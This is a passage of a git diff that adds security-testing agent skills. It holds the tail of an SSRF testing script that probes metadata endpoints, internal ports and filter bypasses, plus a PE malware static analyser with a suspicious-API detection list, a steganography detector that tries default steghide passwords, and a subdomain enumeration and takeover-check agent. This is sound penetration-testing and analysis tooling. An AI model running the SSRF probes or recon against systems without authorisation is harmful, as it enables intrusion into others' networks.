proto["indicator"] in result.get("response_preview", "") + ) + results.append({ + "protocol": proto["name"], + "payload": proto["url"], + "vulnerable": vulnerable, + "severity": "critical" if vulnerable else "info", + }) + return results + + +def generate_report(metadata_findings, port_scan, bypass_results, protocol_results): + """Generate SSRF assessment report.""" + critical = ( + [f for f in metadata_findings if f["vulnerable"]] + + [b for b in bypass_results if b["bypassed"]] + + [p for p in protocol_results if p["vulnerable"]] + ) + report = { + "timestamp": datetime.utcnow().isoformat(), + "metadata_tests": metadata_findings, + "internal_port_scan": port_scan, + "bypass_techniques": bypass_results, + "protocol_handlers": protocol_results, + "vulnerabilities_found": len(critical), + } + print(f"SSRF REPORT: {len(critical)} vulnerabilities found") + return report + + +def main(): + parser = argparse.ArgumentParser(description="SSRF Vulnerability Testing Agent") + parser.add_argument("--target-url", required=True, help="Target URL with SSRF parameter (e.g. https://app/fetch?url=)") + parser.add_argument("--internal-ip", default="127.0.0.1", help="Internal IP for port scan") + parser.add_argument("--output", default="ssrf_report.json") + args = parser.parse_args() + + metadata = test_metadata_endpoints(args.target_url) + ports = test_internal_port_scan(args.target_url, args.internal_ip) + bypasses = test_bypass_techniques(args.target_url) + protocols = test_protocol_handlers(args.target_url) + + report = generate_report(metadata, ports, bypasses, protocols) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-static-malware-analysis-with-pe-studio/LICENSE b/skills/performing-static-malware-analysis-with-pe-studio/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-static-malware-analysis-with-pe-studio/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md b/skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md new file mode 100644 index 00000000..5ed45a1a --- /dev/null +++ b/skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Static Malware Analysis with PE Studio Agent + +## Overview + +Performs automated static analysis of Windows PE binaries using pefile to inspect headers, sections, imports, strings, and resources for malware indicators. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| pefile | >= 2023.2.7 | PE file parsing and section analysis | +| hashlib | stdlib | MD5, SHA-1, SHA-256 hash computation | + +## Core Functions + +### `compute_hashes(filepath)` +Generates MD5, SHA-1, SHA-256 hashes and file size. +- **Returns**: `dict` with `md5`, `sha1`, `sha256`, `size` + +### `analyze_sections(pe)` +Inspects PE sections for entropy, virtual/raw size ratios, and packing indicators. +- **Flags**: `HIGH_ENTROPY` (>7.0), `HIGH_VR_RATIO` (>10x) +- **Returns**: `list[dict]` - section analysis entries + +### `detect_packer(pe)` +Identifies known packer section names (UPX, ASPack, VMProtect, Themida) and low import counts. +- **Returns**: `list[str]` - detected packer names + +### `analyze_imports(pe)` +Categorizes imports into Process Injection, Keylogging, Persistence, Evasion, Network, Crypto. +- **Returns**: `list[dict]` with `category`, `dll`, `function` + +### `extract_strings(filepath, min_length=6)` +Extracts ASCII strings and classifies into URLs, IPs, emails, registry keys, file paths. +- **Returns**: `dict[str, list[str]]` - categorized string indicators + +### `analyze_resources(pe)` +Inspects PE resources for high-entropy data and embedded PE files. +- **Returns**: `list[dict]` with `type_id`, `size`, `entropy`, `flags` + +### `analyze_pe(filepath)` +Full analysis pipeline producing structured report. +- **Returns**: `dict` - complete analysis report + +## Suspicious Import Categories + +| Category | Example Functions | +|----------|-------------------| +| Process Injection | VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | +| Keylogging | GetAsyncKeyState, SetWindowsHookExA | +| Persistence | RegSetValueExA, CreateServiceA | +| Evasion | IsDebuggerPresent, CheckRemoteDebuggerPresent | +| Network | InternetOpenA, URLDownloadToFileA, WSAStartup | +| Crypto | CryptEncrypt, CryptDecrypt | + +## Usage + +```bash +python agent.py suspect.exe +``` diff --git a/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py b/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py new file mode 100644 index 00000000..d70f9d74 --- /dev/null +++ b/skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +"""Static malware analysis agent using pefile for PE binary inspection.""" + +import pefile +import hashlib +import math +import os +import re +import sys +import json +import datetime + + +SUSPICIOUS_IMPORTS = { + "Process Injection": [ + "VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", + "NtCreateThreadEx", "QueueUserAPC", "NtMapViewOfSection", + ], + "Keylogging": [ + "GetAsyncKeyState", "SetWindowsHookExA", "SetWindowsHookExW", + "GetKeyState", "GetKeyboardState", + ], + "Persistence": [ + "RegSetValueExA", "RegSetValueExW", "CreateServiceA", + "CreateServiceW", "RegCreateKeyExA", + ], + "Evasion": [ + "IsDebuggerPresent", "CheckRemoteDebuggerPresent", + "NtQueryInformationProcess", "GetTickCount", "QueryPerformanceCounter", + ], + "Network": [ + "InternetOpenA", "InternetOpenW", "HttpSendRequestA", + "URLDownloadToFileA", "URLDownloadToFileW", "WSAStartup", + "InternetConnectA", "HttpOpenRequestA", + ], + "Crypto": [ + "CryptEncrypt", "CryptDecrypt", "CryptAcquireContextA", + "CryptGenKey", "CryptImportKey", + ], +} + +PACKER_SECTIONS = { + ".upx0": "UPX", ".upx1": "UPX", ".aspack": "ASPack", + ".adata": "ASPack", ".nsp0": "NsPack", ".vmprotect": "VMProtect", + ".themida": "Themida", ".enigma1": "Enigma", ".petite": "Petite", +} + + +def compute_hashes(filepath): + with open(filepath, "rb") as f: + data = f.read() + return { + "md5": hashlib.md5(data).hexdigest(), + "sha1": hashlib.sha1(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "size": len(data), + } + + +def analyze_sections(pe): + sections = [] + for section in pe.sections: + name = section.Name.decode(errors="replace").rstrip("\x00") + entropy = section.get_entropy() + raw_size = section.SizeOfRawData + virtual_size = section.Misc_VirtualSize + ratio = virtual_size / raw_size if raw_size > 0 else 0 + flags = [] + if entropy > 7.0: + flags.append("HIGH_ENTROPY") + if ratio > 10: + flags.append("HIGH_VR_RATIO") + sections.append({ + "name": name, "entropy": round(entropy, 2), + "raw_size": raw_size, "virtual_size": virtual_size, + "ratio": round(ratio, 2), "flags": flags, + }) + return sections + + +def detect_packer(pe): + detected = [] + for section in pe.sections: + name = section.Name.decode(errors="replace").rstrip("\x00").lower() + if name in PACKER_SECTIONS: + detected.append(PACKER_SECTIONS[name]) + import_count = 0 + if hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + import_count = sum(len(e.imports) for e in pe.DIRECTORY_ENTRY_IMPORT) + if import_count < 10: + detected.append(f"SUSPECTED_PACKED (only {import_count} imports)") + return detected + + +def analyze_imports(pe): + findings = [] + if not hasattr(pe, "DIRECTORY_ENTRY_IMPORT"): + return [{"category": "PACKED", "dll": "N/A", "function": "No imports found"}] + for entry in pe.DIRECTORY_ENTRY_IMPORT: + dll_name = entry.dll.decode(errors="replace") + for imp in entry.imports: + if imp.name: + func_name = imp.name.decode(errors="replace") + for category, funcs in SUSPICIOUS_IMPORTS.items(): + if func_name in funcs: + findings.append({ + "category": category, "dll": dll_name, + "function": func_name, + }) + return findings + + +def extract_strings(filepath, min_length=6): + indicators = {"urls": [], "ips": [], "emails": [], "registry": [], "paths": []} + with open(filepath, "rb") as f: + data = f.read() + ascii_strings = re.findall(rb"[\x20-\x7e]{%d,}" % min_length, data) + for s in ascii_strings: + s_decoded = s.decode("ascii", errors="ignore") + if re.search(r"https?://", s_decoded): + indicators["urls"].append(s_decoded) + if re.search(r"\b(\d{1,3}\.){3}\d{1,3}\b", s_decoded): + indicators["ips"].append(s_decoded) + if re.search(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", s_decoded): + indicators["emails"].append(s_decoded) + if re.search(r"HKLM|HKCU|CurrentVersion\\Run", s_decoded, re.IGNORECASE): + indicators["registry"].append(s_decoded) + if re.search(r"\.(exe|dll|bat|ps1|vbs|tmp)", s_decoded, re.IGNORECASE): + indicators["paths"].append(s_decoded) + for key in indicators: + indicators[key] = list(set(indicators[key]))[:20] + return indicators + + +def analyze_resources(pe): + resources = [] + if not hasattr(pe, "DIRECTORY_ENTRY_RESOURCE"): + return resources + for rtype in pe.DIRECTORY_ENTRY_RESOURCE.entries: + if hasattr(rtype, "directory"): + for rid in rtype.directory.entries: + if hasattr(rid, "directory"): + for rlang in rid.directory.entries: + data = pe.get_data( + rlang.data.struct.OffsetToData, + rlang.data.struct.Size, + ) + entropy = 0.0 + if len(data) > 0: + freq = [0] * 256 + for b in data: + freq[b] += 1 + for f in freq: + if f > 0: + p = f / len(data) + entropy -= p * math.log2(p) + flags = [] + if entropy > 7.0: + flags.append("HIGH_ENTROPY") + if data[:2] == b"MZ": + flags.append("EMBEDDED_PE") + resources.append({ + "type_id": rtype.id, "size": len(data), + "entropy": round(entropy, 2), "flags": flags, + }) + return resources + + +def analyze_pe(filepath): + hashes = compute_hashes(filepath) + pe = pefile.PE(filepath) + timestamp = pe.FILE_HEADER.TimeDateStamp + compile_time = datetime.datetime.utcfromtimestamp(timestamp).isoformat() + "Z" + report = { + "file": os.path.basename(filepath), + "hashes": hashes, + "compile_time": compile_time, + "sections": analyze_sections(pe), + "packer_indicators": detect_packer(pe), + "suspicious_imports": analyze_imports(pe), + "string_indicators": extract_strings(filepath), + "resources": analyze_resources(pe), + } + pe.close() + return report + + +def print_report(report): + print("STATIC MALWARE ANALYSIS REPORT") + print("=" * 40) + print(f"Sample: {report['file']}") + print(f"MD5: {report['hashes']['md5']}") + print(f"SHA-256: {report['hashes']['sha256']}") + print(f"Size: {report['hashes']['size']} bytes") + print(f"Compile Time: {report['compile_time']}") + if report["packer_indicators"]: + print(f"\nPACKER: {', '.join(report['packer_indicators'])}") + print("\nSECTIONS:") + for s in report["sections"]: + flags = f" [{', '.join(s['flags'])}]" if s["flags"] else "" + print(f" {s['name']:8s} entropy={s['entropy']} raw={s['raw_size']}{flags}") + print("\nSUSPICIOUS IMPORTS:") + for imp in report["suspicious_imports"]: + print(f" [{imp['category']}] {imp['dll']} -> {imp['function']}") + indicators = report["string_indicators"] + if any(indicators.values()): + print("\nEXTRACTED INDICATORS:") + for key, vals in indicators.items(): + if vals: + print(f" {key}: {', '.join(vals[:5])}") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python agent.py ") + sys.exit(1) + result = analyze_pe(sys.argv[1]) + print_report(result) diff --git a/skills/performing-steganography-detection/LICENSE b/skills/performing-steganography-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-steganography-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-steganography-detection/references/api-reference.md b/skills/performing-steganography-detection/references/api-reference.md new file mode 100644 index 00000000..fe42499e --- /dev/null +++ b/skills/performing-steganography-detection/references/api-reference.md @@ -0,0 +1,66 @@ +# API Reference: Steganography Detection Agent + +## Overview + +Detects hidden data in images and media using LSB analysis with Pillow/numpy, trailing data detection, and subprocess wrappers for binwalk, zsteg, and steghide. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| Pillow | >= 9.0 | Image loading and pixel manipulation | +| numpy | >= 1.23 | Array-based LSB bit extraction and statistics | + +## External Tools (Optional) + +| Tool | Purpose | +|------|---------| +| binwalk | Embedded file and data detection | +| zsteg | PNG/BMP LSB steganography detection | +| steghide | JPEG/BMP/WAV/AU data extraction with passwords | + +## Core Functions + +### `check_trailing_data(filepath)` +Detects data appended after JPEG (FF D9) or PNG (IEND) end markers, and embedded ZIP/RAR archives. +- **Returns**: `dict` with `trailing_bytes`, `embedded_zip`, `embedded_rar` + +### `lsb_analysis(filepath)` +Analyzes LSB bit distribution across RGB channels. Flags `NEAR_RANDOM` (possible stego) or `SIGNIFICANT_DEVIATION`. +- **Returns**: `dict[str, dict]` - per-channel zeros, ones, ratio, anomaly + +### `extract_lsb_data(filepath, output_path)` +Extracts red channel LSB data and checks for known file signatures (ZIP, PNG, JPEG, PDF, GIF). +- **Returns**: `dict` with `output`, `header_hex`, `detected_format` + +### `run_binwalk(filepath)` +Subprocess wrapper for binwalk embedded file detection. +- **Returns**: `dict` with `tool` and `output` + +### `run_zsteg(filepath)` +Subprocess wrapper for zsteg PNG/BMP LSB analysis. +- **Returns**: `dict` with `tool` and `output` + +### `run_steghide_extract(filepath, passwords=None)` +Attempts steghide extraction with a password list. +- **Default passwords**: empty, password, secret, hidden, stego, test, 123456 +- **Returns**: `list[dict]` - successful extractions with password and output path + +### `analyze_file(filepath, output_dir=None)` +Full analysis pipeline combining all detection methods. +- **Returns**: `dict` - complete report with findings list + +## Finding Types + +| Type | Description | +|------|-------------| +| `trailing_data` | Data after image end marker | +| `embedded_archive` | ZIP/RAR found within file | +| `lsb_hidden_file` | Known file format in LSB data | +| `steghide_extraction` | Successfully extracted hidden data | + +## Usage + +```bash +python agent.py suspect_image.png +``` diff --git a/skills/performing-steganography-detection/scripts/agent.py b/skills/performing-steganography-detection/scripts/agent.py new file mode 100644 index 00000000..af7a3468 --- /dev/null +++ b/skills/performing-steganography-detection/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Steganography detection agent using Pillow, numpy, and subprocess tools.""" + +import os +import sys +import json +import subprocess +import struct +from pathlib import Path + +try: + from PIL import Image + import numpy as np +except ImportError: + print("Install: pip install Pillow numpy") + sys.exit(1) + + +def check_trailing_data(filepath): + """Check for data appended after JPEG/PNG end markers.""" + with open(filepath, "rb") as f: + data = f.read() + filesize = len(data) + findings = {"filepath": filepath, "filesize": filesize, "trailing_bytes": 0} + if data[:2] == b"\xff\xd8": + jpeg_end = data.rfind(b"\xff\xd9") + if jpeg_end > 0: + trailing = filesize - jpeg_end - 2 + if trailing > 0: + findings["trailing_bytes"] = trailing + findings["format"] = "JPEG" + elif data[:4] == b"\x89PNG": + iend = data.rfind(b"IEND") + if iend > 0: + end_pos = iend + 8 + trailing = filesize - end_pos + if trailing > 0: + findings["trailing_bytes"] = trailing + findings["format"] = "PNG" + zip_offset = data.find(b"PK\x03\x04") + rar_offset = data.find(b"Rar!\x1a\x07") + if zip_offset > 0: + findings["embedded_zip"] = zip_offset + if rar_offset > 0: + findings["embedded_rar"] = rar_offset + return findings + + +def lsb_analysis(filepath): + """Perform LSB analysis on image channels.""" + img = Image.open(filepath).convert("RGB") + pixels = np.array(img) + results = {} + for channel, name in enumerate(["Red", "Green", "Blue"]): + lsb_data = pixels[:, :, channel] & 1 + zeros = int(np.sum(lsb_data == 0)) + ones = int(np.sum(lsb_data == 1)) + total = zeros + ones + ratio = ones / total if total > 0 else 0 + anomaly = "NORMAL" + if abs(ratio - 0.5) < 0.01: + anomaly = "NEAR_RANDOM" + elif ratio > 0.55 or ratio < 0.45: + anomaly = "SIGNIFICANT_DEVIATION" + results[name] = { + "zeros": zeros, "ones": ones, "ratio": round(ratio, 4), + "anomaly": anomaly, + } + return results + + +def extract_lsb_data(filepath, output_path): + """Extract LSB data from red channel and check for file signatures.""" + img = Image.open(filepath).convert("RGB") + pixels = np.array(img) + lsb_bits = (pixels[:, :, 0] & 1).flatten() + lsb_bytes = np.packbits(lsb_bits) + with open(output_path, "wb") as f: + f.write(lsb_bytes.tobytes()) + header = bytes(lsb_bytes[:16]) + detected = None + if header[:4] == b"PK\x03\x04": + detected = "ZIP archive" + elif header[:3] == b"GIF": + detected = "GIF image" + elif header[:4] == b"\x89PNG": + detected = "PNG image" + elif header[:2] == b"\xff\xd8": + detected = "JPEG image" + elif header[:4] == b"%PDF": + detected = "PDF document" + return {"output": output_path, "header_hex": header.hex(), "detected_format": detected} + + +def run_binwalk(filepath): + """Run binwalk to detect embedded files.""" + try: + result = subprocess.run( + ["binwalk", filepath], capture_output=True, text=True, timeout=30 + ) + return {"tool": "binwalk", "output": result.stdout.strip()} + except FileNotFoundError: + return {"tool": "binwalk", "output": "binwalk not installed"} + except subprocess.TimeoutExpired: + return {"tool": "binwalk", "output": "timeout"} + + +def run_zsteg(filepath): + """Run zsteg on PNG/BMP files for LSB detection.""" + try: + result = subprocess.run( + ["zsteg", filepath], capture_output=True, text=True, timeout=30 + ) + return {"tool": "zsteg", "output": result.stdout.strip()} + except FileNotFoundError: + return {"tool": "zsteg", "output": "zsteg not installed"} + except subprocess.TimeoutExpired: + return {"tool": "zsteg", "output": "timeout"} + + +def run_steghide_extract(filepath, passwords=None): + """Attempt steghide extraction with multiple passwords.""" + if passwords is None: + passwords = ["", "password", "secret", "hidden", "stego", "test", "123456"] + results = [] + for pwd in passwords: + try: + out_file = f"/tmp/steghide_{pwd or 'empty'}.bin" + result = subprocess.run( + ["steghide", "extract", "-sf", filepath, "-p", pwd, + "-xf", out_file, "-f"], + capture_output=True, text=True, timeout=10 + ) + if "extracted" in result.stdout.lower() or result.returncode == 0: + results.append({"password": pwd or "(empty)", "success": True, "output": out_file}) + except (FileNotFoundError, subprocess.TimeoutExpired): + break + return results + + +def analyze_file(filepath, output_dir=None): + """Full steganalysis pipeline for a single file.""" + if output_dir is None: + output_dir = os.path.dirname(filepath) + report = {"file": filepath, "findings": []} + trailing = check_trailing_data(filepath) + if trailing["trailing_bytes"] > 0: + report["findings"].append({ + "type": "trailing_data", + "detail": f"{trailing['trailing_bytes']} bytes after {trailing.get('format', 'unknown')} end marker", + }) + if "embedded_zip" in trailing: + report["findings"].append({"type": "embedded_archive", "detail": f"ZIP at offset {trailing['embedded_zip']}"}) + ext = Path(filepath).suffix.lower() + if ext in (".png", ".bmp", ".jpg", ".jpeg", ".gif"): + report["lsb_analysis"] = lsb_analysis(filepath) + lsb_out = os.path.join(output_dir, "lsb_extracted.bin") + report["lsb_extract"] = extract_lsb_data(filepath, lsb_out) + if report["lsb_extract"]["detected_format"]: + report["findings"].append({ + "type": "lsb_hidden_file", + "detail": f"Detected {report['lsb_extract']['detected_format']} in LSB data", + }) + report["binwalk"] = run_binwalk(filepath) + if ext in (".png", ".bmp"): + report["zsteg"] = run_zsteg(filepath) + if ext in (".jpg", ".jpeg", ".bmp", ".wav", ".au"): + report["steghide"] = run_steghide_extract(filepath) + if report["steghide"]: + report["findings"].append({ + "type": "steghide_extraction", + "detail": f"Data extracted with {len(report['steghide'])} password(s)", + }) + return report + + +def print_report(report): + print("Steganalysis Report") + print("=" * 40) + print(f"File: {report['file']}") + if "lsb_analysis" in report: + print("\nLSB Analysis:") + for channel, data in report["lsb_analysis"].items(): + print(f" {channel}: ratio={data['ratio']} ({data['anomaly']})") + print(f"\nFindings: {len(report['findings'])}") + for f in report["findings"]: + print(f" [{f['type']}] {f['detail']}") + if "binwalk" in report and report["binwalk"]["output"] != "binwalk not installed": + print(f"\nBinwalk:\n{report['binwalk']['output']}") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python agent.py ") + sys.exit(1) + result = analyze_file(sys.argv[1]) + print_report(result) diff --git a/skills/performing-subdomain-enumeration-with-subfinder/LICENSE b/skills/performing-subdomain-enumeration-with-subfinder/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-subdomain-enumeration-with-subfinder/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md b/skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md new file mode 100644 index 00000000..16e811d1 --- /dev/null +++ b/skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md @@ -0,0 +1,69 @@ +# API Reference: Subdomain Enumeration with Subfinder + +## Subfinder CLI Options + +| Flag | Description | +|------|-------------| +| `-d ` | Target domain to enumerate | +| `-dL ` | File containing list of domains | +| `-o ` | Output file for results | +| `-oJ` | JSON lines output format | +| `-oD ` | Output directory (one file per domain) | +| `-all` | Use all passive sources (slower, more thorough) | +| `-silent` | Show only subdomains in output | +| `-recursive` | Enumerate subdomains of discovered subdomains | +| `-s ` | Use only specified sources | +| `-es ` | Exclude specific sources | +| `-cs` | Show source for each subdomain | +| `-rate-limit ` | Max requests per second | +| `-t ` | Number of concurrent threads | + +## httpx CLI Options + +| Flag | Description | +|------|-------------| +| `-l ` | Input file with hosts | +| `-ports ` | Ports to probe | +| `-status-code` | Show HTTP status code | +| `-title` | Show page title | +| `-tech-detect` | Detect web technologies | +| `-json` | JSON output format | +| `-silent` | Suppress banner | + +## dnsx CLI Options + +| Flag | Description | +|------|-------------| +| `-l ` | Input file with hosts | +| `-a` | Resolve A records | +| `-cname` | Resolve CNAME records | +| `-resp` | Show response data | +| `-json` | JSON output | + +## Passive Sources + +| Source | API Key Required | +|--------|-----------------| +| crt.sh | No | +| VirusTotal | Yes | +| Shodan | Yes | +| SecurityTrails | Yes | +| Censys | Yes | +| Chaos (ProjectDiscovery) | Yes | +| AlienVault OTX | No | +| HackerTarget | No | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute subfinder, httpx, dnsx CLI | +| `json` | stdlib | Parse JSON lines output | +| `pathlib` | stdlib | File path management | + +## References + +- Subfinder GitHub: https://github.com/projectdiscovery/subfinder +- httpx GitHub: https://github.com/projectdiscovery/httpx +- dnsx GitHub: https://github.com/projectdiscovery/dnsx +- Subfinder Config: https://docs.projectdiscovery.io/tools/subfinder/install diff --git a/skills/performing-subdomain-enumeration-with-subfinder/scripts/agent.py b/skills/performing-subdomain-enumeration-with-subfinder/scripts/agent.py new file mode 100644 index 00000000..66d3b902 --- /dev/null +++ b/skills/performing-subdomain-enumeration-with-subfinder/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Agent for subdomain enumeration using subfinder and httpx. + +Runs ProjectDiscovery subfinder for passive subdomain discovery, +validates live hosts with httpx, resolves DNS, and generates +an attack surface report. +""" + +import subprocess +import json +import sys +from datetime import datetime +from pathlib import Path +from collections import defaultdict + + +class SubdomainEnumerationAgent: + """Enumerates subdomains using subfinder and validates with httpx.""" + + def __init__(self, domain, output_dir="./recon"): + self.domain = domain + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.subdomains = [] + self.live_hosts = [] + + def run_subfinder(self, all_sources=False, recursive=False): + """Run subfinder for passive subdomain enumeration.""" + out_file = self.output_dir / f"{self.domain}_subdomains.txt" + cmd = ["subfinder", "-d", self.domain, "-o", str(out_file), "-silent"] + if all_sources: + cmd.append("-all") + if recursive: + cmd.append("-recursive") + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if out_file.exists(): + self.subdomains = [ + line.strip() for line in out_file.read_text().splitlines() + if line.strip() + ] + return {"count": len(self.subdomains), + "output_file": str(out_file), + "stderr": result.stderr[:200] if result.stderr else ""} + except FileNotFoundError: + return {"error": "subfinder not installed. Install: go install -v " + "github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest"} + except subprocess.TimeoutExpired: + return {"error": "subfinder timed out after 300s"} + + def run_subfinder_json(self): + """Run subfinder with JSON output for source tracking.""" + cmd = ["subfinder", "-d", self.domain, "-oJ", "-silent"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + entries = [] + for line in result.stdout.strip().splitlines(): + try: + entry = json.loads(line) + entries.append(entry) + host = entry.get("host", "") + if host and host not in self.subdomains: + self.subdomains.append(host) + except json.JSONDecodeError: + continue + return entries + except (FileNotFoundError, subprocess.TimeoutExpired): + return [] + + def validate_with_httpx(self, ports="80,443"): + """Validate discovered subdomains with httpx probe.""" + if not self.subdomains: + return [] + + input_file = self.output_dir / f"{self.domain}_to_probe.txt" + input_file.write_text("\n".join(self.subdomains)) + out_file = self.output_dir / f"{self.domain}_live.json" + + cmd = ["httpx", "-l", str(input_file), "-ports", ports, + "-status-code", "-title", "-json", "-o", str(out_file), "-silent"] + try: + subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if out_file.exists(): + for line in out_file.read_text().splitlines(): + try: + self.live_hosts.append(json.loads(line)) + except json.JSONDecodeError: + continue + return self.live_hosts + except (FileNotFoundError, subprocess.TimeoutExpired): + return [] + + def resolve_dns(self): + """Resolve subdomains to IP addresses using dnsx.""" + if not self.subdomains: + return [] + input_file = self.output_dir / f"{self.domain}_to_resolve.txt" + input_file.write_text("\n".join(self.subdomains)) + cmd = ["dnsx", "-l", str(input_file), "-a", "-resp", "-json", "-silent"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + records = [] + for line in result.stdout.strip().splitlines(): + try: + records.append(json.loads(line)) + except json.JSONDecodeError: + continue + return records + except (FileNotFoundError, subprocess.TimeoutExpired): + return [] + + def detect_takeover_candidates(self): + """Identify subdomains potentially vulnerable to takeover.""" + candidates = [] + cloud_cnames = ["amazonaws.com", "azurewebsites.net", "cloudfront.net", + "herokuapp.com", "github.io", "s3.amazonaws.com", + "blob.core.windows.net", "cloudapp.azure.com"] + dns_records = self.resolve_dns() + for record in dns_records: + cname = record.get("cname", "") + if any(cloud in cname for cloud in cloud_cnames): + candidates.append({ + "subdomain": record.get("host", ""), + "cname": cname, + "risk": "Potential subdomain takeover" + }) + return candidates + + def generate_report(self): + """Generate attack surface enumeration report.""" + status_dist = defaultdict(int) + for host in self.live_hosts: + code = host.get("status_code", 0) + status_dist[str(code)] += 1 + + report = { + "domain": self.domain, + "report_date": datetime.utcnow().isoformat(), + "total_subdomains": len(self.subdomains), + "live_hosts": len(self.live_hosts), + "status_distribution": dict(status_dist), + "subdomains": self.subdomains[:100], + "live_host_details": self.live_hosts[:50], + "takeover_candidates": self.detect_takeover_candidates(), + } + + report_path = self.output_dir / f"{self.domain}_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [output_dir]") + sys.exit(1) + domain = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else "./recon" + agent = SubdomainEnumerationAgent(domain, output_dir) + agent.run_subfinder(all_sources=True) + agent.validate_with_httpx() + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-thick-client-application-penetration-test/LICENSE b/skills/performing-thick-client-application-penetration-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-thick-client-application-penetration-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of 